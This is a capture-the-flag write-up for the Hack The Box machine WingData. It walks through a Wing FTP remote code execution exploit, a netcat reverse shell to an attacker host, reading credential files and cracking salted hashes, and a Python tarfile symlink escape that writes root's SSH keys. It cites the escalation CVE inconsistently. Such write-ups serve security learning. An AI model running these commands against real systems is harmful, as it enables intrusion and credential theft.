Featured image of post HTB WingData Writeup

HTB WingData Writeup

We start by navigating to ftp.wingdata.htb. Upon inspection, we realize that the version on Wing FTP in use is vulnerable to CVE-2025-47812. We can get a reverse shell using this CVE. After getting the foothold, we perform credential hunting and find password hashes. However, we need to add the relevant salt to the hashes before cracking them. This technique allows us to get the credentials of wacky. Wacky can run a specific python file as sudo. The version of Python is vulnerable to CVE-2025-4330. We can leverage it to run any commands as root.

Port scanning

  1. All TCP port scan
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
sudo nmap -Pn 10.129.247.225 -sS -p- --min-rate 20000 -oN nmap/allTcpPortScan.nmap
[sudo] password for kali: 
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-11 08:29 EDT
Nmap scan report for 10.129.247.225
Host is up (0.17s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 7.25 seconds
  1. All UDP scan
1
2
3
4
5
6
7
8
9
sudo nmap -Pn 10.129.247.225 -sU -p- --min-rate 20000 -oN nmap/allUdpPortScan.nmap
[sudo] password for kali: 
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-11 08:29 EDT
Nmap scan report for 10.129.247.225
Host is up.
All 65535 scanned ports on 10.129.247.225 are in ignored states.
Not shown: 65535 open|filtered udp ports (no-response)

Nmap done: 1 IP address (1 host up) scanned in 8.63 seconds
  1. Script Scan
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
sudo nmap -Pn 10.129.247.225 -sCV -p22,80 --min-rate 20000 -oN nmap/scriptVersionScan.nmap
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-11 08:31 EDT
Nmap scan report for 10.129.247.225
Host is up (0.11s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey: 
|   256 a1:fa:95:8b:d7:56:03:85:e4:45:c9:c7:1e:ba:28:3b (ECDSA)
|_  256 9c:ba:21:1a:97:2f:3a:64:73:c1:4c:1d:ce:65:7a:2f (ED25519)
80/tcp open  http    Apache httpd 2.4.66
|_http-title: Did not follow redirect to http://wingdata.htb/
|_http-server-header: Apache/2.4.66 (Debian)
Service Info: Host: localhost; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.54 seconds

Web Exploitation

  1. There is a client portal in ftp.wingdata.htb. It is using Wing FTP Server version 7.4.3
  2. This version of Wing FTP has a vulnerability in CVE-2025-47812. Exploit POC is here: https://www.exploit-db.com/exploits/52347
  3. To test if it is vulnerable,
1
2
3
4
 python3 CVE-2025-47812.py -u http://ftp.wingdata.htb 

[*] Testing target: http://ftp.wingdata.htb
[+] http://ftp.wingdata.htb is vulnerable!
  1. To get RCE,
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
python3 CVE-2025-47812.py -u http://ftp.wingdata.htb -c whoami

[*] Testing target: http://ftp.wingdata.htb
[+] Sending POST request to http://ftp.wingdata.htb/loginok.html with command: 'whoami' and username: 'anonymous'
[+] UID extracted: be43dc777a41f151ebceb90bdfc298abf528764d624db129b32c21fbca0cb8d6
[+] Sending GET request to http://ftp.wingdata.htb/dir.html with UID: be43dc777a41f151ebceb90bdfc298abf528764d624db129b32c21fbca0cb8d6

--- Command Output ---
wingftp
----------------------
  1. To get a reverse shell,
1
2
3
4
5
6
7
python3 CVE-2025-47812.py -u http://ftp.wingdata.htb -c "busybox nc 10.10.14.64 9999 -e bash"

[*] Testing target: http://ftp.wingdata.htb
[+] Sending POST request to http://ftp.wingdata.htb/loginok.html with command: 'busybox nc 10.10.14.64 9999 -e bash' and username: 'anonymous'
[+] UID extracted: efa1ddc09eb381601e8524cf0b84fddff528764d624db129b32c21fbca0cb8d6
[+] Sending GET request to http://ftp.wingdata.htb/dir.html with UID: efa1ddc09eb381601e8524cf0b84fddff528764d624db129b32c21fbca0cb8d6
[-] Error sending GET request to http://ftp.wingdata.htb/dir.html: HTTPConnectionPool(host='ftp.wingdata.htb', port=80): Read timed out. (read timeout=10)

Output:

1
2
3
4
5
nc -lvnp 9999                            
listening on [any] 9999 ...
connect to [10.10.14.64] from (UNKNOWN) [10.129.247.225] 57840
whoami
wingftp

Shell as wingftp

  1. To upgrade TTY, Use script to spawn a tty
1
script -qc /bin/bash /dev/null

Background the shell. CTRL+Z On your machine,

1
stty raw -echo; fg

Then, press enter twice 2. Let’s find available users.

1
2
3
4
5
cat /etc/passwd | grep -v 'nologin\|false'
root:x:0:0:root:/root:/bin/bash
sync:x:4:65534:sync:/bin:/bin/sync
wingftp:x:1000:1000:WingFTP Daemon User,,,:/opt/wingftp:/bin/bash
wacky:x:1001:1001::/home/wacky:/bin/bash
  1. We can get the admin credentials in /opt/wftpserver/Data/_ADMINISTRATOR/admins.xml
1
wingftp@wingdata:/opt/wftpserver/Data/_ADMINISTRATOR$ cat admins.xml 

Output:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
<?xml version="1.0" ?>
<ADMIN_ACCOUNTS Description="Wing FTP Server Admin Accounts">
    <ADMIN>
        <Admin_Name>admin</Admin_Name>
        <Password>a8339f8e4465a9c47158394d8efe7cc45a5f361ab983844c8562bef2193bafba</Password>
        <Type>0</Type>
        <Readonly>0</Readonly>
        <IsDomainAdmin>0</IsDomainAdmin>
        <DomainList></DomainList>
        <MyDirectory></MyDirectory>
        <EnableTwoFactor>0</EnableTwoFactor>
        <TwoFactorCode></TwoFactorCode>
    </ADMIN>
</ADMIN_ACCOUNTS>
  • The password cannot be cracked with rockyou.txt or crackstation
  1. Listening ports
1
ss -tlnp

Output:

1
2
3
4
5
6
7
8
State  Recv-Q Send-Q Local Address:Port  Peer Address:PortProcess
LISTEN 0      128          0.0.0.0:5466       0.0.0.0:*    users:(("ss",pid=11796,fd=8),("bash",pid=3702,fd=8),("script",pid=3701,fd=8),("bash",pid=3699,fd=8),("sh",pid=3698,fd=8),("wftpserver",pid=3570,fd=8))      
LISTEN 0      128        127.0.0.1:8080       0.0.0.0:*    users:(("ss",pid=11796,fd=11),("bash",pid=3702,fd=11),("script",pid=3701,fd=11),("bash",pid=3699,fd=11),("sh",pid=3698,fd=11),("wftpserver",pid=3570,fd=11))
LISTEN 0      128          0.0.0.0:36659      0.0.0.0:*    users:(("ss",pid=11796,fd=10),("bash",pid=3702,fd=10),("script",pid=3701,fd=10),("bash",pid=3699,fd=10),("sh",pid=3698,fd=10),("wftpserver",pid=3570,fd=10))
LISTEN 0      511          0.0.0.0:80         0.0.0.0:*
LISTEN 0      128          0.0.0.0:22         0.0.0.0:*
LISTEN 0      128             [::]:5466          [::]:*    users:(("ss",pid=11796,fd=7),("bash",pid=3702,fd=7),("script",pid=3701,fd=7),("bash",pid=3699,fd=7),("sh",pid=3698,fd=7),("wftpserver",pid=3570,fd=7))
LISTEN 0      128             [::]:22            [::]:*   
  1. There are SSH keys in the directory.
1
2
3
4
5
6
7
8
9
wingftp@wingdata:/opt/wftpserver/Data$ cat ssh_host_ecdsa_key
-----BEGIN PRIVATE KEY-----
MIG<SNIP>s5vQhMLa
-----END PRIVATE KEY-----

cat ssh_host_key 
-----BEGIN PRIVATE KEY-----
MIIJQgIBA<SNIP>k1Al9Vw==
-----END PRIVATE KEY-----
  1. Contents of /etc/apache2/sites-available (The reverse proxy)
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<VirtualHost *:80>
    ServerName localhost
    Redirect permanent / http://wingdata.htb/
</VirtualHost>

<VirtualHost *:80>
    ServerName wingdata.htb
    DocumentRoot /var/www/wingdata.htb

    <Directory /var/www/wingdata.htb>
        Options -Indexes +FollowSymLinks
        AllowOverride None
        Require all granted
    </Directory>

    ErrorLog ${APACHE_LOG_DIR}/wingdata_error.log
    CustomLog ${APACHE_LOG_DIR}/wingdata_access.log combined
</VirtualHost>

<VirtualHost *:80>
    ServerName ftp.wingdata.htb

    ProxyPreserveHost On
    ProxyPass / http://127.0.0.1:8080/
    ProxyPassReverse / http://127.0.0.1:8080/

    # Opcional: seguridad básica
    <Location "/">
        Require all granted
    </Location>

    ErrorLog ${APACHE_LOG_DIR}/ftp.wingdata_proxy_error.log
    CustomLog ${APACHE_LOG_DIR}/ftp.wingdata_proxy_access.log combined
</VirtualHost>
  1. let’s see what files wingftp owns
1
find / -user wingftp 2>/dev/null | grep -v 'proc\|images\|help\|pdfjs-dist\|html\|js'  

Output:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
/opt/wftpserver
/opt/wftpserver/Data
/opt/wftpserver/Data/ssh_host_ecdsa_key
/opt/wftpserver/Data/_ADMINISTRATOR
/opt/wftpserver/Data/_ADMINISTRATOR/admins.xml
/opt/wftpserver/Data/_ADMINISTRATOR/settings.xml
/opt/wftpserver/Data/bookmark_db
/opt/wftpserver/Data/1
/opt/wftpserver/Data/1/groups
/opt/wftpserver/Data/1/users
/opt/wftpserver/Data/1/users/maria.xml
/opt/wftpserver/Data/1/users/steve.xml
/opt/wftpserver/Data/1/users/wacky.xml
/opt/wftpserver/Data/1/users/anonymous.xml
/opt/wftpserver/Data/1/users/john.xml
/opt/wftpserver/Data/1/settings.xml
/opt/wftpserver/Data/1/portlistener.xml
/opt/wftpserver/Data/settings.xml
/opt/wftpserver/Data/ssh_host_key
/opt/wftpserver/session
/opt/wftpserver/session/a658b11447efc5261532d31a3ac3349bf528764d624db129b32c21fbca0cb8d6.lua
/opt/wftpserver/pid-wftpserver.pid
/opt/wftpserver/version.txt
/opt/wftpserver/wftp_default_ssh.key
/opt/wftpserver/Log
/opt/wftpserver/Log/Admin
/opt/wftpserver/Log/Admin/Admin-2026-4-25.log
/opt/wftpserver/Log/Admin/Admin-2026-1-12.log
/opt/wftpserver/Log/Admin/Admin-2026-1-14.log
/opt/wftpserver/Log/Admin/Admin-2026-2-9.log
/opt/wftpserver/Log/Admin/Admin-2026-1-22.log
/opt/wftpserver/Log/Admin/Admin-2025-11-2.log
/opt/wftpserver/Log/Admin/Admin-2026-1-20.log
/opt/wftpserver/Log/Admin/Admin-2026-1-8.log
/opt/wftpserver/Log/Admin/Admin-2025-11-3.log
/opt/wftpserver/Log/audit_db
/opt/wftpserver/Log/Domains
/opt/wftpserver/Log/Domains/1
/opt/wftpserver/Log/Domains/1/2026-4-25.log
/opt/wftpserver/Log/Domains/1/2026-2-9.log.zip
/opt/wftpserver/Log/ssh_debug_log
/opt/wftpserver/Log/System
/opt/wftpserver/Log/System/System-2026-2-9.log
  1. Interesting files in /opt/wftpserver/Data/1/users directory
1
cat * | grep -i 'pass\|user'

Output:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
<USER_ACCOUNTS Description="Wing FTP Server User Accounts">
    <USER>
        <UserName>anonymous</UserName>
        <EnablePassword>0</EnablePassword><Password>d67f86152e5c4df1b0ac4a18d3ca4a89c1b12e6b748ed71d01aeb92341927bca</Password>
        <MaxDownloadSpeedPerUser>0</MaxDownloadSpeedPerUser>
        <MaxUploadSpeedPerUser>0</MaxUploadSpeedPerUser>
        <PasswordLength>0</PasswordLength>
        <CanChangePassword>0</CanChangePassword>
    </USER>
</USER_ACCOUNTS>
<USER_ACCOUNTS Description="Wing FTP Server User Accounts">
    <USER>
        <UserName>john</UserName>
        <EnablePassword>1</EnablePassword>
        <Password>c1f14672feec3bba27231048271fcdcddeb9d75ef79f6889139aa78c9d398f10</Password>
        <MaxDownloadSpeedPerUser>0</MaxDownloadSpeedPerUser>
        <MaxUploadSpeedPerUser>0</MaxUploadSpeedPerUser>
        <PasswordLength>0</PasswordLength>
        <CanChangePassword>0</CanChangePassword>
    </USER>
</USER_ACCOUNTS>
<USER_ACCOUNTS Description="Wing FTP Server User Accounts">
    <USER>
        <UserName>maria</UserName>
        <EnablePassword>1</EnablePassword>
        <Password>a70221f33a51dca76dfd46c17ab17116a97823caf40aeecfbc611cae47421b03</Password>
        <MaxDownloadSpeedPerUser>0</MaxDownloadSpeedPerUser>
        <MaxUploadSpeedPerUser>0</MaxUploadSpeedPerUser>
        <PasswordLength>0</PasswordLength>
        <CanChangePassword>0</CanChangePassword>
    </USER>
</USER_ACCOUNTS>
<USER_ACCOUNTS Description="Wing FTP Server User Accounts">
    <USER>
        <UserName>steve</UserName>
        <EnablePassword>1</EnablePassword>
        <Password>5916c7481fa2f20bd86f4bdb900f0342359ec19a77b7e3ae118f3b5d0d3334ca</Password>
        <MaxDownloadSpeedPerUser>0</MaxDownloadSpeedPerUser>
        <MaxUploadSpeedPerUser>0</MaxUploadSpeedPerUser>
        <PasswordLength>0</PasswordLength>
        <CanChangePassword>0</CanChangePassword>
    </USER>
</USER_ACCOUNTS>
<USER_ACCOUNTS Description="Wing FTP Server User Accounts">
    <USER>
        <UserName>wacky</UserName>
        <EnablePassword>1</EnablePassword>
        <Password>32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca</Password>
        <MaxDownloadSpeedPerUser>0</MaxDownloadSpeedPerUser>
        <MaxUploadSpeedPerUser>0</MaxUploadSpeedPerUser>
        <PasswordLength>0</PasswordLength>
        <CanChangePassword>0</CanChangePassword>
    </USER>
</USER_ACCOUNTS>
  • All the passwords cannot be cracked with crackstation
  1. OS info
1
cat /etc/os-release

Output:

1
2
3
4
5
6
7
8
9
PRETTY_NAME="Debian GNU/Linux 12 (bookworm)"
NAME="Debian GNU/Linux"
VERSION_ID="12"
VERSION="12 (bookworm)"
VERSION_CODENAME=bookworm
ID=debian
HOME_URL="https://www.debian.org/"
SUPPORT_URL="https://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/
  1. We can modify the XML to bypass password protection. None of the users have anything interesing
  2. Groups information
1
2
groups
wingftp cdrom floppy audio dip video plugdev users netdev
  1. Ok, I was stuck here for a very long time. Apparently, WingFTP adds salt before hashing!
1
2
3
grep -i salt /opt/wftpserver/Data/1/settings.xml 
    <EnablePasswordSalting>1</EnablePasswordSalting>
    <SaltingString>WingFTP</SaltingString>

We need to use hash mode 1410

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
Hash mode #1410
  Name................: sha256($pass.$salt)
  Category............: Raw Hash salted and/or iterated
  Slow.Hash...........: No
  Deprecated..........: No
  Deprecated.Notice...: N/A
  Password.Type.......: plain
  Password.Len.Min....: 0
  Password.Len.Max....: 256
  Salt.Type...........: Generic
  Salt.Len.Min........: 0
  Salt.Len.Max........: 256
  Kernel.Type(s)......: pure, optimized
  Example.Hash.Format.: plain
  Example.Hash........: 5bb7456f43e3610363f68ad6de82b8b96f3fc9ad24e9d1f1f8d8bd89638db7c0:12480864321
  Example.Pass........: hashcat
  Benchmark.Mask......: ?a?a?a?a?a?a?a
  Autodetect.Enabled..: Yes
  Self.Test.Enabled...: Yes
  Potfile.Enabled.....: Yes
  Keep.Guessing.......: No
  Custom.Plugin.......: No
  Plaintext.Encoding..: ASCII, HEX

Output:

1
2
d67f86152e5c4df1b0ac4a18d3ca4a89c1b12e6b748ed71d01aeb92341927bca:WingFTP:
32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP:!#7Blushing^*Bride5
  1. We can use this creds to log in.

Shell as wacky

  1. Sudo privileges
1
wacky@wingdata:~$ sudo -l

Output:

1
2
3
4
5
6
Matching Defaults entries for wacky on wingdata:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User wacky may run the following commands on wingdata:
    (root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *
  1. Contents of /opt/backup_clients/restore_backup_clients.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
#!/usr/bin/env python3
import tarfile
import os
import sys
import re
import argparse

BACKUP_BASE_DIR = "/opt/backup_clients/backups"
STAGING_BASE = "/opt/backup_clients/restored_backups"

def validate_backup_name(filename):
    if not re.fullmatch(r"^backup_\d+\.tar$", filename):
        return False
    client_id = filename.split('_')[1].rstrip('.tar')
    return client_id.isdigit() and client_id != "0"

def validate_restore_tag(tag):
    return bool(re.fullmatch(r"^[a-zA-Z0-9_]{1,24}$", tag))

def main():
    parser = argparse.ArgumentParser(
        description="Restore client configuration from a validated backup tarball.",
        epilog="Example: sudo %(prog)s -b backup_1001.tar -r restore_john"
    )
    parser.add_argument(
        "-b", "--backup",
        required=True,
        help="Backup filename (must be in /home/wacky/backup_clients/ and match backup_<client_id>.tar, "
             "where <client_id> is a positive integer, e.g., backup_1001.tar)"
    )
    parser.add_argument(
        "-r", "--restore-dir",
        required=True,
        help="Staging directory name for the restore operation. "
             "Must follow the format: restore_<client_user> (e.g., restore_john). "
             "Only alphanumeric characters and underscores are allowed in the <client_user> part (1–24 characters)."
    )

    args = parser.parse_args()

    if not validate_backup_name(args.backup):
        print("[!] Invalid backup name. Expected format: backup_<client_id>.tar (e.g., backup_1001.tar)", file=sys.stderr)
        sys.exit(1)
        
    backup_path = os.path.join(BACKUP_BASE_DIR, args.backup)
    if not os.path.isfile(backup_path):
        print(f"[!] Backup file not found: {backup_path}", file=sys.stderr)
        sys.exit(1)

    if not args.restore_dir.startswith("restore_"):
        print("[!] --restore-dir must start with 'restore_'", file=sys.stderr)
        sys.exit(1)

    tag = args.restore_dir[8:]
    if not tag:
        print("[!] --restore-dir must include a non-empty tag after 'restore_'", file=sys.stderr)
        sys.exit(1)

    if not validate_restore_tag(tag):
        print("[!] Restore tag must be 1–24 characters long and contain only letters, digits, or underscores", file=sys.stderr)
        sys.exit(1)

    staging_dir = os.path.join(STAGING_BASE, args.restore_dir)
    print(f"[+] Backup: {args.backup}")
    print(f"[+] Staging directory: {staging_dir}")

    os.makedirs(staging_dir, exist_ok=True)

    try:
        with tarfile.open(backup_path, "r") as tar:
            tar.extractall(path=staging_dir, filter="data")
        print(f"[+] Extraction completed in {staging_dir}")
    except (tarfile.TarError, OSError, Exception) as e:
        print(f"[!] Error during extraction: {e}", file=sys.stderr)
        sys.exit(2)

if __name__ == "__main__":
    main()
1
2
3
4
with tarfile.open(backup_path, "r") as tar:
	tar.extractall(path=staging_dir, filter="data")
	# extract to staging_dir
	# filter="data" prevents path transversal, strip SUID and SGID, removes symlink

The filter argument in tarfile.open can be

  • fully_trusted: Honour all metadata
  • tar: Honour tar-specific features but block features that are likely malicious
  • data: Block most features specific to UNIX-like file systems. How the filter works is specified here There is an interesting section in tarfile manual about what else to consider even if filter="data here
  1. The version of Python in use is 3.12.3. It is vulnerable to CVE-2025-4517. Refer also https://github.com/google/security-research/security/advisories/GHSA-hgqp-3mmf-7h8f
1
2
3
tar -cvf backup_1001.tar ../123.txt
mv backup_1001.tar /opt/backup_clients/backups/
sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py -b backup_1001.tar -r restore_john

Output:

1
2
3
[+] Backup: backup_1001.tar
[+] Staging directory: /opt/backup_clients/restored_backups/restore_john
[+] Extraction completed in /opt/backup_clients/restored_backups/restore_john
  1. Exploit Change the configuration
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# ============================================================================
# CONFIGURATION - Adjust these to match your target environment
# ============================================================================

# Full path to the extraction/staging directory on the target system.
# This is where the vulnerable script extracts tar contents to.
DEST_DIR = "/opt/backup_clients/restored_backups/restore_john"

# Number of parent directories from / to DEST_DIR.
# Example: /tmp/staging/extract_dir/ = 3 dirs deep
# Count: /tmp(1) /staging(2) /extract_dir(3)
DEPTH_TO_ROOT = 4

# The file to write on the target, relative to /
# Example: "root/.ssh/authorized_keys" writes to /root/.ssh/authorized_keys
TARGET_FILE = "root/.ssh/authorized_keys"

# The content to write into the target file.
# Replace with your own SSH public key or desired payload.
PAYLOAD = b"ssh-rsa AA<SNIP>w== kali@kali\n"

# Output tar filename. Must match whatever naming pattern the target expects.
OUTPUT = "backup_1001.tar"

To create the malicious Tar file,

1
python3 CVE-2025-4517.py

Output:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
[*] Destination directory length: 36
[*] Component length: 238
[*] Estimated resolved path length: 4099
[*] PATH_MAX: 4096

[+] Created 16 directory/symlink pairs
[+] Created 254-char escaping symlink (target: ../../../../../../../../../../../../../../../../)
[+] Created 'escape' symlink (depth to root: 3)
[+] Added payload file: escape/root/.ssh/authorized_keys

[*] Created backup_1001.tar
[*] Target file on extraction: /root/.ssh/authorized_keys

[!] Transfer this tar to the target and trigger extraction
[!] via the vulnerable Python script using filter='data'

Transfer it to the victim and execute

1
2
3
wget http://10.10.14.2:8000/backup_1001.tar
mv backup_1001.tar /opt/backup_clients/backups/
sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py -b backup_1001.tar -r restore_john
  1. Now, we can SSH into the machine as root
1
ssh root@wingdata.htb

Output:

1
2
root@wingdata:~# id
uid=0(root) gid=0(root) groups=0(root)
Licensed under CC BY-NC-SA 4.0
Built with Hugo
Theme Stack designed by Jimmy